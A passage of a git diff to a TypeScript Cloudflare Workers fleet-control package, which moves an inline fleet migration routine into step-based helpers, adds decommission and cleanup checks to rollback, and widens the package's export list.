-          ? effectiveAppliedPlatformTarget(stored, targetPlatform)
-          : undefined;
-        const platformOnlyChange =
-          stored.desiredSpecDigest === targetDigest &&
-          platformOnlyTarget !== undefined &&
-          stored.platformTarget !== undefined &&
-          JSON.stringify(stored.platformTarget) !==
-            JSON.stringify(platformOnlyTarget);
-        if (
-          stored.phase === 'migrating' &&
-          (immutableExternal
-            ? stored.migrationIntent?.platformOnly === true
-              ? stored.migrationIntent.targetSpecDigest !== targetDigest ||
-                JSON.stringify(stored.migrationIntent.target) !==
-                  JSON.stringify(platformOnlyTarget)
-              : stored.pendingRelease?.specDigest !== targetDigest ||
-                stored.pendingRelease?.physicalScriptName !==
-                  targetPhysicalScriptName ||
-                stored.pendingRelease.releaseSchemaVersion !==
-                  spec.schemaVersion ||
-                stored.migrationIntent?.targetSpecDigest !== targetDigest
-            : stored.pendingSpecDigest !== targetDigest)
-        ) {
-          throw new Error(
-            'migration retry uses a different desired specification',
-          );
-        }
-        if (spec.previousDurableObjectTag !== stored.durableObjectTag) {
-          throw new Error(
-            `Durable Object migration base mismatch for ${stored.tenantTag}:${stored.environment}: expected '${stored.durableObjectTag ?? 'none'}'`,
-          );
-        }
-        const database = await reconcilePersistedDatabase(
-          backend,
-          stored,
-          false,
-          lease,
-        );
-        if (!database) {
-          throw new Error(
-            `persisted database '${stored.databaseId}' is absent`,
-          );
-        }
-        if (stored.phase === 'ready' && stored.retiringRelease) {
-          stored = await retireCommittedRelease(
-            backend,
-            spec,
-            database,
-            stored,
-            lease,
-            options.clock ?? Date.now,
-          );
-        }
-        if (
-          stored.phase === 'ready' &&
-          stored.desiredSpecDigest === targetDigest &&
-          !platformOnlyChange
-        ) {
-          if (targetPlatform) {
-            const rollbackCompatibleTarget =
-              platformOnlyTarget ?? targetPlatform;
-            if (!stored.platformTarget) {
-              if (!stored.platformResources) {
-                throw new Error(
-                  'ready external deployment has no trusted platform resources',
-                );
-              }
-              assertPlatformResourcesMatchTarget(
-                stored.platformResources,
-                targetPlatform,
-              );
-              stored = {
-                ...stored,
-                platformTarget: targetPlatform,
-                outboundPolicy: targetPlatform.outboundPolicy,
-                updatedAt: new Date(
-                  (options.clock ?? Date.now)(),
-                ).toISOString(),
-              };
-              await lease.put(stored);
-            }
-            assertExternalPlatformTarget(
-              stored.platformTarget,
-              rollbackCompatibleTarget,
-              'ready deployment',
-            );
-            stored = await convergeExternalPlatformResources(
-              backend,
-              spec,
-              database,
-              secrets,
-              rollbackCompatibleTarget,
-              stored,
-              lease,
-              options.clock ?? Date.now,
-              finalizedStateProvider,
-            );
-          }
-          const live = await backend.inspect(
-            spec,
-            secrets.maintenanceAdmin,
-            activeArtifactVersion(stored),
-          );
-          if (!live) throw new Error('ready migration target is missing');
-          assertLiveDeploymentMatches(
-            live,
-            stored,
-            spec,
-            targetDigest,
-            stored.activeRelease?.application,
-          );
-          if (immutableExternal && stored.activeRelease) {
-            assertExternalReleaseArtifactVersion(
-              live,
-              stored.activeRelease,
-              'ready migration',
-            );
-          }
-          if (
-            targetRelease &&
-            (stored.activeRelease?.physicalScriptName !==
-              targetRelease.physicalScriptName ||
-              stored.activeRelease.releaseSchemaVersion !==
-                targetRelease.releaseSchemaVersion ||
-              stored.activeRelease.artifactVersion !== live.artifactVersion)
-          ) {
-            throw new Error(
-              'ready immutable release metadata does not exactly match the target',
-            );
-          }
-          let maintenance = live.maintenance;
-          if (!maintenance.armed) {
-            await lease.assertOwned();
-            maintenance = await backend.ensureMaintenance(
-              spec,
-              secrets.maintenanceAdmin,
-              lease,
-              activeArtifactVersion(stored),
-            );
-          }
-          if (!maintenance.armed) throw new Error('maintenance did not re-arm');
-          await lease.assertOwned();
-          await backend.promoteWorker(
-            spec,
-            buildPromotionGuard(
-              stored,
-              targetPhysicalScriptName ?? spec.scriptName,
-            ),
-            stored.outboundPolicy,
-            lease,
-            activeArtifactVersion(stored),
-          );
-          // The steady-state path: an unchanged deployment reconciled again.
-          // It re-promotes because a crash could have left the route behind,
-          // so it must re-attest — but it must not re-settle, or a fleet on a
-          // reconcile schedule would settle forever.
-          const convergence = await settlePromotedRoute({
-            backend,
-            spec,
-            record: stored,
-            entry: 'ready-convergence',
-            target: stored.activeRelease,
-            prior: stored.rollbackRelease,
-            expectedSpecDigest: targetDigest,
-            expectedArtifactVersion: activeArtifactVersion(stored),
-            settlementHost: options.settlementFor?.(stored),
-            attestation: attestationOptions,
-            skipWhenAlreadySettled: true,
-          });
-          if (convergence.settled) {
-            stored = {
-              ...stored,
-              settledSettlementKey: convergence.settlementKey,
-              updatedAt: new Date((options.clock ?? Date.now)()).toISOString(),
-            };
-            await lease.put(stored);
-          }
-          return retireCommittedRelease(
-            backend,
-            spec,
-            database,
-            stored,
-            lease,
-            options.clock ?? Date.now,
-          );
-        }
-        if (
-          spec.schemaVersion < stored.schemaVersion &&
-          !platformOnlyChange &&
-          stored.migrationIntent?.platformOnly !== true
-        ) {
-          throw new Error(
-            `schema downgrade refused for ${stored.tenantTag}:${stored.environment}`,
-          );
-        }
-        if (immutableExternal && !stored.activeRelease) {
-          throw new Error(
-            'immutable external migration has no durable active release metadata',
-          );
-        }
-        if (
-          immutableExternal &&
-          targetRelease &&
-          targetPlatform &&
-          (!stored.platformTarget || !stored.outboundPolicy)
-        ) {
-          throw new Error(
-            'immutable external migration has no durable prior platform target and policy',
-          );
-        }
-        const externalIntent: ExternalMigrationIntent | undefined =
-          immutableExternal && targetRelease && targetPlatform
-            ? platformOnlyChange
-              ? {
-                  platformOnly: true,
-                  targetSpecDigest: targetDigest,
-                  priorRelease: stored.activeRelease as ExternalReleaseSnapshot,
-                  priorTarget:
-                    stored.platformTarget as ExternalPlatformTargetDescription,
-                  priorOutboundPolicy:
-                    stored.outboundPolicy as DeploymentEgressPolicy,
-                  targetRelease:
-                    stored.activeRelease as ExternalReleaseSnapshot,
-                  target:
-                    platformOnlyTarget as ExternalPlatformTargetDescription,
-                  subphase: 'planned',
-                }
-              : {
-                  targetSpecDigest: targetDigest,
-                  priorRelease: stored.activeRelease as ExternalReleaseSnapshot,
-                  priorTarget:
-                    stored.platformTarget as ExternalPlatformTargetDescription,
-                  priorOutboundPolicy:
-                    stored.outboundPolicy as DeploymentEgressPolicy,
-                  targetRelease,
-                  target: targetPlatform,
-                  subphase: 'planned',
-                }
-            : undefined;
-        let migrationRecord: FleetRecord =
-          stored.phase === 'ready'
-            ? {
-                ...stored,
-                phase: 'migrating',
-                ...(externalIntent?.platformOnly
-                  ? { migrationIntent: externalIntent }
-                  : targetRelease
-                    ? {
-                        pendingRelease: targetRelease,
-                        migrationPriorRelease: stored.activeRelease,
-                        migrationIntent: externalIntent,
-                      }
-                    : {}),
-                ...(!targetRelease ? { pendingSpecDigest: targetDigest } : {}),
-                updatedAt: new Date(
-                  (options.clock ?? Date.now)(),
-                ).toISOString(),
-              }
-            : stored;
-        if (stored.phase === 'ready') await lease.put(migrationRecord);
-        if (
-          immutableExternal &&
-          (!migrationRecord.migrationIntent ||
-            (migrationRecord.migrationIntent.platformOnly !== true &&
-              (!migrationRecord.migrationPriorRelease ||
-                !migrationRecord.pendingRelease)))
-        ) {
-          throw new Error(
-            'immutable external migration lost its durable release intent',
-          );
-        }
-        if (targetPlatform && migrationRecord.migrationIntent) {
-          assertExternalPlatformTarget(
-            migrationRecord.migrationIntent.target,
-            migrationRecord.migrationIntent.platformOnly === true
-              ? (platformOnlyTarget as ExternalPlatformTargetDescription)
-              : targetPlatform,
-            'migration retry',
-          );
-        }
-        if (finalizedStateProvider && targetPlatform) {
-          const finalizedPlan = finalizedStateProvider.describeFinalizedState({
-            targetSpec: spec,
-            currentRecord: migrationRecord,
-            target: migrationRecord.migrationIntent?.target ?? targetPlatform,
-          });
-          await finalizedStateProvider.assertFinalizedState({
-            targetSpec: spec,
-            currentRecord: migrationRecord,
-            target: migrationRecord.migrationIntent?.target ?? targetPlatform,
-            plan: finalizedPlan,
-            fence: lease,
-          });
-        }
-        if (migrationRecord.migrationIntent?.platformOnly === true) {
-          const platformMigrationTarget =
-            migrationRecord.migrationIntent.target;
-          const platformMigrationRelease =
-            migrationRecord.migrationIntent.targetRelease;
-          if (migrationRecord.migrationIntent.subphase === 'planned') {
-            migrationRecord = {
-              ...migrationRecord,
-              migrationIntent: {
-                ...migrationRecord.migrationIntent,
-                subphase: 'schema-applied',
-              },
-              updatedAt: new Date((options.clock ?? Date.now)()).toISOString(),
-            };
-            await lease.put(migrationRecord);
-          }
-          migrationRecord = await convergeExternalPlatformResources(
-            backend,
-            spec,
-            database,
-            secrets,
-            platformMigrationTarget,
-            migrationRecord,
-            lease,
-            options.clock ?? Date.now,
-            finalizedStateProvider,
-          );
-          if (migrationRecord.migrationIntent?.subphase === 'schema-applied') {
-            migrationRecord = {
-              ...migrationRecord,
-              migrationIntent: {
-                ...migrationRecord.migrationIntent,
-                subphase: 'platform-applied',
-              },
-              updatedAt: new Date((options.clock ?? Date.now)()).toISOString(),
-            };
-            await lease.put(migrationRecord);
-          }
-          const maintenancePreflight = await backend.inspect(
-            spec,
-            secrets.maintenanceAdmin,
-            platformMigrationRelease.artifactVersion,
-          );
-          if (!maintenancePreflight) {
-            throw new Error('platform-only migration release is missing');
-          }
-          assertLiveDeploymentMatches(
-            maintenancePreflight,
-            stored,
-            spec,
-            targetDigest,
-            platformMigrationRelease.application,
-          );
-          assertExternalReleaseArtifactVersion(
-            maintenancePreflight,
-            platformMigrationRelease,
-            'platform-only maintenance',
-          );
-          await lease.assertOwned();
-          const maintenance = await backend.ensureMaintenance(
-            spec,
-            secrets.maintenanceAdmin,
-            lease,
-            platformMigrationRelease.artifactVersion,
-          );
-          if (!maintenance.armed) {
-            throw new Error(
-              'platform-only migration maintenance is unarmed before route publication',
-            );
-          }
-          if (
-            migrationRecord.migrationIntent?.subphase === 'platform-applied'
-          ) {
-            const publicationPreflight = await backend.inspect(
-              spec,
-              secrets.maintenanceAdmin,
-              platformMigrationRelease.artifactVersion,
-            );
-            if (!publicationPreflight) {
-              throw new Error('platform-only migration release is missing');
-            }
-            assertLiveDeploymentMatches(
-              publicationPreflight,
-              stored,
-              spec,
-              targetDigest,
-              platformMigrationRelease.application,
-            );
-            assertExternalReleaseArtifactVersion(
-              publicationPreflight,
-              platformMigrationRelease,
-              'platform-only publication',
-            );
-            await lease.assertOwned();
-            await backend.promoteWorker(
-              spec,
-              buildPromotionGuard(
-                migrationRecord,
-                targetPhysicalScriptName ?? spec.scriptName,
-              ),
-              platformMigrationTarget.outboundPolicy,
-              lease,
-              platformMigrationRelease.artifactVersion,
-            );
-            migrationRecord = {
-              ...migrationRecord,
-              migrationIntent: {
-                ...migrationRecord.migrationIntent,
-                subphase: 'route-published',
-              },
-              updatedAt: new Date((options.clock ?? Date.now)()).toISOString(),
-            };
-            await lease.put(migrationRecord);
-          }
-          const live = await backend.inspect(
-            spec,
-            secrets.maintenanceAdmin,
-            platformMigrationRelease.artifactVersion,
-          );
-          if (!live)
-            throw new Error('platform-only migration release is missing');
-          assertLiveDeploymentMatches(
-            live,
-            stored,
-            spec,
-            targetDigest,
-            platformMigrationRelease.application,
-          );
-          assertExternalReleaseArtifactVersion(
-            live,
-            platformMigrationRelease,
-            'platform-only settlement',
-          );
-          const platformSettlement = await settlePromotedRoute({
-            backend,
-            spec,
-            record: migrationRecord,
-            entry: 'platform-only',
-            target: platformMigrationRelease,
-            prior: migrationRecord.rollbackRelease,
-            expectedSpecDigest: targetDigest,
-            expectedArtifactVersion: platformMigrationRelease.artifactVersion,
-            settlementHost: options.settlementFor?.(migrationRecord),
-            attestation: attestationOptions,
-          });
-          const settled = { ...migrationRecord };
-          delete settled.migrationIntent;
-          const migrated: FleetRecord = {
-            ...settled,
-            phase: 'ready',
-            platformTarget: platformMigrationTarget,
-            outboundPolicy: platformMigrationTarget.outboundPolicy,
-            ...(platformSettlement.settled
-              ? { settledSettlementKey: platformSettlement.settlementKey }
-              : {}),
-            updatedAt: new Date((options.clock ?? Date.now)()).toISOString(),
-          };
-          await lease.put(migrated);
-          return migrated;
-        }
-        await lease.assertOwned();
-        // Re-stamping a database this deployment already owns: the ownership
-        // sentinel short-circuits, and the only thing that can still happen is
-        // the fence row being CREATED where none exists.
-        //
-        // 'open' is hard-coded, and migrateFleet takes no fence option, for one
-        // reason: the deployment being migrated is `ready` or `migrating` — it
-        // is EXECUTING right now. A pre-0.20 database has no fence row and
-        // therefore reads as open; materializing that row must record what the
-        // deployment already IS, not impose something new. Seeding
-        // 'migration-locked' here would silently stop a live deployment in the
-        // middle of its own migration. Closing a fence is an operator action
-        // through POST /admin/execution-fence, never a side effect of a
-        // schema pass.
-        await backend.seedDeploymentIdentity(
-          database,
-          stored.tenantTag,
-          lease,
+        const { admitted, plan, reread } = await admitFleetMigrationItem(
           {
-            initialExecutionFenceState: 'open',
-          },
-        );
-        const pendingMigrations = spec.migrations.filter(
-          (candidate) => candidate.version > migrationRecord.schemaVersion,
-        );
-        if (pendingMigrations.length === 0) {
-          await lease.assertOwned();
-          await backend.applyMigrations(database, spec.migrations, lease);
-        }
-        for (const migration of pendingMigrations) {
-          await lease.assertOwned();
-          await backend.applyMigrations(
-            database,
-            spec.migrations.slice(0, migration.version),
-            lease,
-          );
-          migrationRecord = {
-            ...migrationRecord,
-            schemaVersion: migration.version,
-            updatedAt: new Date((options.clock ?? Date.now)()).toISOString(),
-          };
-          await lease.put(migrationRecord);
-        }
-        if (migrationRecord.schemaVersion !== spec.schemaVersion) {
-          throw new Error(
-            `missing D1 migration path from ${stored.schemaVersion} to ${spec.schemaVersion}`,
-          );
-        }
-        if (migrationRecord.migrationIntent?.subphase === 'planned') {
-          migrationRecord = {
-            ...migrationRecord,
-            migrationIntent: {
-              ...migrationRecord.migrationIntent,
-              subphase: 'schema-applied',
-            },
-            updatedAt: new Date((options.clock ?? Date.now)()).toISOString(),
-          };
-          await lease.put(migrationRecord);
-        }
-        if (targetPlatform) {
-          migrationRecord = await convergeExternalPlatformResources(
-            backend,
-            spec,
-            database,
-            secrets,
-            migrationRecord.migrationIntent?.target ?? targetPlatform,
-            migrationRecord,
-            lease,
-            options.clock ?? Date.now,
-            finalizedStateProvider,
-          );
-          if (migrationRecord.migrationIntent?.subphase === 'schema-applied') {
-            migrationRecord = {
-              ...migrationRecord,
-              migrationIntent: {
-                ...migrationRecord.migrationIntent,
-                subphase: 'platform-applied',
-              },
-              updatedAt: new Date((options.clock ?? Date.now)()).toISOString(),
-            };
-            await lease.put(migrationRecord);
-          }
-        }
-        if (
-          migrationRecord.pendingRelease &&
-          migrationRecord.platformResources
-        ) {
-          const topology = externalReleaseTopology(
-            spec,
-            migrationRecord.platformResources,
-            migrationRecord.applicationResources,
-          );
-          migrationRecord = {
-            ...migrationRecord,
-            pendingRelease: { ...migrationRecord.pendingRelease, topology },
-            ...(migrationRecord.migrationIntent
-              ? {
-                  migrationIntent: {
-                    ...migrationRecord.migrationIntent,
-                    targetRelease: {
-                      ...migrationRecord.migrationIntent.targetRelease,
-                      topology,
-                    },
-                  },
-                }
-              : {}),
-            updatedAt: new Date((options.clock ?? Date.now)()).toISOString(),
-          };
-          await lease.put(migrationRecord);
-        }
-        let live: LiveDeployment | undefined;
-        if (migrationRecord.migrationIntent?.subphase !== 'platform-applied') {
-          live = await backend.inspect(
-            spec,
-            secrets.maintenanceAdmin,
-            pendingArtifactVersion(migrationRecord),
-          );
-        }
-        if (
-          migrationRecord.pendingRelease &&
-          migrationRecord.pendingRelease.artifactVersion !== 'pending'
-        ) {
-          assertExternalReleaseArtifactVersion(
-            live,
-            migrationRecord.pendingRelease,
-            'migration candidate',
-          );
-        }
-        if (
-          migrationRecord.migrationIntent?.subphase === 'platform-applied' ||
-          !live ||
-          live.desiredSpecDigest !== targetDigest
-        ) {
-          await lease.assertOwned();
-          const deployed = await backend.deployWorker(
-            spec,
-            database,
-            secrets,
-            migrationRecord.platformResources,
+            store: options.store,
+            backendFor: (record) => options.backendFor(record),
+            specFor: (record) => options.specFor(record),
+            secretsFor: (record) => options.secretsFor(record),
+            finalizedStateProviderFor: (record) =>
+              options.finalizedStateProviderFor?.(record),
+            settlementFor: (record) => options.settlementFor?.(record),
             lease,
-            migrationRecord.pendingRelease?.artifactVersion ??
-              migrationRecord.pendingArtifactVersion ??
-              (immutableExternal ? 'pending' : undefined),
-            migrationRecord.migrationIntent?.targetRelease.application ??
-              migrationRecord.pendingRelease?.application ??
-              applicationBindingTopology(
-                spec,
-                migrationRecord.applicationResources ?? [],
-              ),
-          );
-          if (
-            targetPhysicalScriptName &&
-            deployed.physicalScriptName !== targetPhysicalScriptName
-          ) {
-            throw new Error('backend deployed an unexpected physical release');
-          }
-        }
-        live = await backend.inspect(
-          spec,
-          secrets.maintenanceAdmin,
-          pendingArtifactVersion(migrationRecord),
-        );
-        if (!live) throw new Error('migration candidate is missing');
-        assertLiveDeploymentMatches(
-          live,
-          stored,
-          spec,
-          targetDigest,
-          migrationRecord.migrationIntent?.targetRelease.application ??
-            migrationRecord.pendingRelease?.application,
-        );
-        if (migrationRecord.pendingRelease) {
-          assertExternalReleaseArtifactVersion(
-            live,
-            migrationRecord.pendingRelease,
-            'migration candidate',
-          );
-        }
-        if (
-          targetPhysicalScriptName &&
-          live.scriptName !== targetPhysicalScriptName
-        ) {
-          throw new Error(
-            'migration candidate has an unexpected physical name',
-          );
-        }
-        if (
-          migrationRecord.migrationIntent &&
-          migrationRecord.pendingRelease?.artifactVersion === 'pending'
-        ) {
-          const intendedTopology = migrationRecord.pendingRelease.topology;
-          if (!intendedTopology) {
-            throw new Error(
-              'migration candidate has no intended binding topology',
-            );
-          }
-          const pendingRelease = {
-            ...migrationRecord.migrationIntent.targetRelease,
-            artifactVersion: live.artifactVersion,
-            topology: externalReleaseTopologyFromLive(live, intendedTopology),
-          };
-          migrationRecord = {
-            ...migrationRecord,
-            pendingRelease,
-            migrationIntent: {
-              ...migrationRecord.migrationIntent,
-              targetRelease: pendingRelease,
-              subphase: 'candidate-deployed',
-            },
-            updatedAt: new Date((options.clock ?? Date.now)()).toISOString(),
-          };
-          await lease.put(migrationRecord);
-        } else if (
-          !immutableExternal &&
-          migrationRecord.pendingArtifactVersion === undefined
-        ) {
-          migrationRecord = {
-            ...migrationRecord,
-            pendingArtifactVersion: live.artifactVersion,
-            updatedAt: new Date((options.clock ?? Date.now)()).toISOString(),
-          };
-          await lease.put(migrationRecord);
-        }
-        await lease.assertOwned();
-        const maintenance = await backend.ensureMaintenance(
-          spec,
-          secrets.maintenanceAdmin,
-          lease,
-          pendingArtifactVersion(migrationRecord),
-        );
-        if (!maintenance.armed) throw new Error('maintenance did not re-arm');
-        if (
-          migrationRecord.migrationIntent?.subphase === 'candidate-deployed'
-        ) {
-          migrationRecord = {
-            ...migrationRecord,
-            migrationIntent: {
-              ...migrationRecord.migrationIntent,
-              subphase: 'candidate-armed',
-            },
-            updatedAt: new Date((options.clock ?? Date.now)()).toISOString(),
-          };
-          await lease.put(migrationRecord);
-        }
-        const publicationPreflight = await backend.inspect(
-          spec,
-          secrets.maintenanceAdmin,
-          pendingArtifactVersion(migrationRecord),
-        );
-        if (!publicationPreflight) {
-          throw new Error('migration candidate is missing before publication');
-        }
-        assertLiveDeploymentMatches(
-          publicationPreflight,
-          stored,
-          spec,
-          targetDigest,
-          migrationRecord.migrationIntent?.targetRelease.application ??
-            migrationRecord.pendingRelease?.application,
-        );
-        if (migrationRecord.pendingRelease) {
-          assertExternalReleaseArtifactVersion(
-            publicationPreflight,
-            migrationRecord.pendingRelease,
-            'migration publication',
-          );
-        }
-        await lease.assertOwned();
-        await backend.promoteWorker(
-          spec,
-          buildPromotionGuard(
-            migrationRecord,
-            targetPhysicalScriptName ?? spec.scriptName,
-          ),
-          migrationRecord.migrationIntent?.target.outboundPolicy ??
-            migrationRecord.outboundPolicy,
-          lease,
-          pendingArtifactVersion(migrationRecord),
-        );
-        if (migrationRecord.migrationIntent) {
-          migrationRecord = {
-            ...migrationRecord,
-            migrationIntent: {
-              ...migrationRecord.migrationIntent,
-              subphase: 'route-published',
+            attestationOptions,
+            // Read at each legacy site: helpers capture the clock function,
+            // while direct nullish calls keep its receiver unbound.
+            get clock() {
+              return options.clock ?? Date.now;
             },
-            updatedAt: new Date((options.clock ?? Date.now)()).toISOString(),
-          };
-          await lease.put(migrationRecord);
-        }
-        live = await backend.inspect(
-          spec,
-          secrets.maintenanceAdmin,
-          pendingArtifactVersion(migrationRecord),
-        );
-        if (!live) {
-          throw new Error(
-            `deployment did not converge after migration for ${stored.tenantTag}:${stored.environment}`,
-          );
-        }
-        assertLiveDeploymentMatches(
-          live,
-          stored,
-          spec,
-          targetDigest,
-          migrationRecord.migrationIntent?.targetRelease.application ??
-            migrationRecord.pendingRelease?.application,
+            ordinal: index + 1,
+          },
+          record.tenantTag,
+          record.environment,
         );
-        if (migrationRecord.pendingRelease) {
-          assertExternalReleaseArtifactVersion(
-            live,
-            migrationRecord.pendingRelease,
-            'migration settlement',
-          );
-        }
-        if (
-          targetPhysicalScriptName &&
-          live.scriptName !== targetPhysicalScriptName
-        ) {
-          throw new Error('promoted release has an unexpected physical name');
-        }
-        const rollbackRelease = migrationRecord.migrationPriorRelease;
-        const retiringRelease = targetPhysicalScriptName
-          ? stored.rollbackRelease
-          : undefined;
-        const committedTargetRelease = migrationRecord.pendingRelease;
-        if (
-          targetPhysicalScriptName &&
-          (!committedTargetRelease ||
-            committedTargetRelease.physicalScriptName !==
-              targetPhysicalScriptName ||
-            !committedTargetRelease.topology)
-        ) {
-          throw new Error(
-            'promoted release has no exact persisted binding topology',
-          );
+        let entry = reread;
+        let current = reread;
+        for (let cursor = 0; ; cursor += 1) {
+          const step = await executeNextMigrationStep(admitted, plan, cursor, {
+            entry,
+            current,
+          });
+          current = step.record;
+          if (plan[cursor]?.step === 'retire-pre') entry = current;
+          if (step.done) return step.resultOnDone;
         }
-        const migrationSettlement = await settlePromotedRoute({
-          backend,
-          spec,
-          record: migrationRecord,
-          entry: 'migration',
-          target: committedTargetRelease,
-          prior: rollbackRelease,
-          expectedSpecDigest: targetDigest,
-          expectedArtifactVersion: live.artifactVersion,
-          settlementHost: options.settlementFor?.(migrationRecord),
-          attestation: attestationOptions,
-        });
-        const settled = { ...migrationRecord };
-        delete settled.pendingRelease;
-        delete settled.migrationPriorRelease;
-        delete settled.pendingSpecDigest;
-        delete settled.pendingArtifactVersion;
-        delete settled.migrationIntent;
-        const migrated: FleetRecord = {
-          ...settled,
-          phase: 'ready',
-          desiredSpecDigest: targetDigest,
-          schemaVersion: spec.schemaVersion,
-          artifactVersion: live.artifactVersion,
-          ...(targetPhysicalScriptName
-            ? {
-                activeRelease:
-                  committedTargetRelease as ExternalReleaseSnapshot,
-                rollbackRelease,
-                ...(retiringRelease ? { retiringRelease } : {}),
-              }
-            : {}),
-          ...(targetPlatform
-            ? {
-                platformTarget: targetPlatform,
-                outboundPolicy: targetPlatform.outboundPolicy,
-              }
-            : {}),
-          durableObjectTag: finalizedStateProvider
-            ? migrationRecord.durableObjectTag
-            : targetDurableObjectTag(spec),
-          ...(spec.authoredBy === 'platform'
-            ? {
-                durableObjectMigrationHistory:
-                  canonicalDurableObjectMigrationHistory(
-                    spec.durableObjectMigrations,
-                  ),
-                durableObjectMigrationHistoryDigest:
-                  durableObjectMigrationHistoryDigest(
-                    spec.durableObjectMigrations,
-                  ),
-              }
-            : {}),
-          durableObjectBindings: live.durableObjectBindings,
-          applicationBindings:
-            committedTargetRelease?.application ??
-            applicationBindingTopology(
-              spec,
-              migrationRecord.applicationResources ?? [],
-            ),
-          ...(migrationSettlement.settled
-            ? { settledSettlementKey: migrationSettlement.settlementKey }
-            : {}),
-          updatedAt: new Date((options.clock ?? Date.now)()).toISOString(),
-        };
-        await lease.put(migrated);
-        return retireCommittedRelease(
-          backend,
-          spec,
-          database,
-          migrated,
-          lease,
-          options.clock ?? Date.now,
-        );
       },
     );
     updated.push(next);
@@ -2404,6 +3918,8 @@ export async function rollbackExternalRelease(options: {
         currentSpec.environment,
       );
       if (!stored) throw new Error('rollback deployment is not registered');
+      assertNoActiveDecommission(stored, 'rollbackExternalRelease');
+      assertNoActiveCleanup(stored, 'rollbackExternalRelease');
       assertBackendSwitchInactive(stored);
       const finalizedOrdinaryState =
         stored.backendSwitchIntent?.subphase === 'finalized' &&
@@ -2573,6 +4089,11 @@ export async function rollbackExternalRelease(options: {
         target,
         'rollback target',
       );
+      intent = await commitInvocationAuthority(
+        lease,
+        intent,
+        options.clock ?? Date.now,
+      );
       await lease.assertOwned();
       await backend.deployWorker(
         rollbackSpec,
@@ -2601,6 +4122,9 @@ export async function rollbackExternalRelease(options: {
         target.application,
       );
       assertExternalReleaseArtifactVersion(live, target, 'rollback target');
+      // No flip here or before the promotion below: the unconditional
+      // rollback-deploy flip above already committed the carrier durably
+      // earlier in this same call.
       await lease.assertOwned();
       const health = await backend.ensureMaintenance(
         rollbackSpec,
diff --git a/packages/fleet-control/src/index.ts b/packages/fleet-control/src/index.ts
index 5c9c268b..3d8af5f8 100644
--- a/packages/fleet-control/src/index.ts
+++ b/packages/fleet-control/src/index.ts
@@ -16,6 +16,8 @@ export {
   reserveApplicationR2Resources,
 } from './application-bindings.js';
 export {
+  type AdvanceBackendSwitchDecommissionOptions,
+  advanceBackendSwitchDecommission,
   BACKEND_SWITCH_SUBPHASES,
   type BackendSwitchApplicationR2Progress,
   type BackendSwitchCandidateSnapshot,
@@ -37,20 +39,70 @@ export {
   rollbackBackendSwitch,
   switchPlainDeploymentToWorkersForPlatforms,
 } from './backend-switch.js';
+export {
+  type AdvanceCleanupDeploymentOptions,
+  advanceCleanupDeployment,
+  type CleanupAdvanceAction,
+  type CleanupAdvanceCapability,
+  CleanupAdvanceCapabilityError,
+  CleanupAdvanceRestartError,
+  type CleanupAdvanceResult,
+} from './cleanup-advance.js';
+export {
+  CleanupAdvanceTokenDeploymentError,
+  CleanupAdvanceTokenError,
+  CleanupAdvanceTokenFutureError,
+  CleanupAdvanceTokenOperationError,
+  classifyCleanupDatabaseEligibility,
+} from './cleanup-intent.js';
+export {
+  CloudflareApiPlainWorkerBackend,
+  type CloudflareApiPlainWorkerBackendOptions,
+} from './cloudflare-api-plain-worker-backend.js';
 export {
   type CloudflareClientOptions,
+  CloudflarePlaneCapabilityError,
   CloudflareProvisioningClient,
   type ControlWorkerInspection,
   type ControlWorkerSpec,
+  cloudflareFleetInventoryContext,
   type DurableDatabaseExportStore,
   type OrdinaryWorkerFootprint,
+  type PlainWorkerCloudflareClientOptions,
 } from './cloudflare-client.js';
+export type {
+  PreparedOrdinaryWorkerDeploymentVersions,
+  PreparedOrdinaryWorkerUpload,
+} from './cloudflare-ordinary-worker-operations.js';
 export {
   type CloudflareApiRateCoordinator,
   D1CloudflareApiRateCoordinator,
   type D1CloudflareApiRateCoordinatorOptions,
   ProcessLocalCloudflareApiRateCoordinator,
 } from './cloudflare-rate-coordinator.js';
+export {
+  D1FleetInventoryRunStore,
+  type D1FleetInventoryRunStoreOptions,
+} from './d1-fleet-inventory-run-store.js';
+export {
+  D1FleetOperationStore,
+  type D1FleetOperationStoreOptions,
+} from './d1-fleet-operation-store.js';
+export {
+  type AdvanceDecommissionDeploymentOptions,
+  advanceDecommissionDeployment,
+  type DecommissionAdvanceAction,
+  type DecommissionAdvanceCapability,
+  DecommissionAdvanceCapabilityError,
+  DecommissionAdvanceRestartError,
+  type DecommissionAdvanceResult,
+} from './decommission-advance.js';
+export {
+  DecommissionAdvanceTokenDeploymentError,
+  DecommissionAdvanceTokenError,
+  DecommissionAdvanceTokenFutureError,
+  DecommissionAdvanceTokenOperationError,
+} from './decommission-intent.js';
 export { FileSystemDatabaseExportStore } from './export-store.js';
 export {
   auditFleetDrift,
@@ -60,7 +112,94 @@ export {
   migrateFleet,
   rollbackExternalRelease,
 } from './fleet.js';
+export {
+  type AdvanceFleetAuditOptions,
+  abandonFleetAuditOperation,
+  advanceFleetAudit,
+  type FleetAuditAdvanceAction,
+  type FleetAuditAdvanceCapability,
+  FleetAuditAdvanceCapabilityError,
+  type FleetAuditAdvanceResult,
+  type FleetAuditFindingsPage,
+  type FleetAuditResultRef,
+  readFleetAuditFindingsPage,
+} from './fleet-audit-advance.js';
+export type {
+  FleetAuditProgress,
+  FleetAuditStage,
+} from './fleet-audit-state.js';
+export {
+  type AdvanceFleetInventoryOptions,
+  advanceFleetInventory,
+  type FleetInventoryAdvanceAction,
+  type FleetInventoryAdvanceCapability,
+  FleetInventoryAdvanceCapabilityError,
+  type FleetInventoryAdvanceResult,
+  readFleetInventoryGeneration,
+} from './fleet-inventory-advance.js';
+export {
+  type CollectFleetInventoryOptions,
+  type FleetInventoryDeploymentFactKind,
+  type FleetInventoryFailureReason,
+  type FleetInventoryGeneration,
+  type FleetInventoryGenerationRef,
+  type FleetInventoryLease,
+  type FleetInventoryProviderContext,
+  type FleetInventoryRowKind,
+  type FleetInventoryRunOptions,
+  type FleetInventoryRunProgress,
+  type FleetInventoryRunRecord,
+  type FleetInventoryRunStore,
+  type FleetInventoryRunToken,
+  FleetInventoryRunTokenError,
+  FleetInventoryRunTokenFutureError,
+  FleetInventoryRunTokenOperationError,
+  type FleetInventoryStage,
+  type FleetInventoryStagedFact,
+  type FleetInventoryStagedRow,
+  type FleetInventoryStageInput,
+  type FleetInventoryStageResult,
+} from './fleet-inventory-state.js';
+export {
+  type AdvanceFleetMigrationOptions,
+  abandonFleetMigrationOperation,
+  advanceFleetMigration,
+  type FleetMigrationAdvanceAction,
+  type FleetMigrationAdvanceCapability,
+  FleetMigrationAdvanceCapabilityError,
+  type FleetMigrationAdvanceResult,
+  type FleetMigrationResultRef,
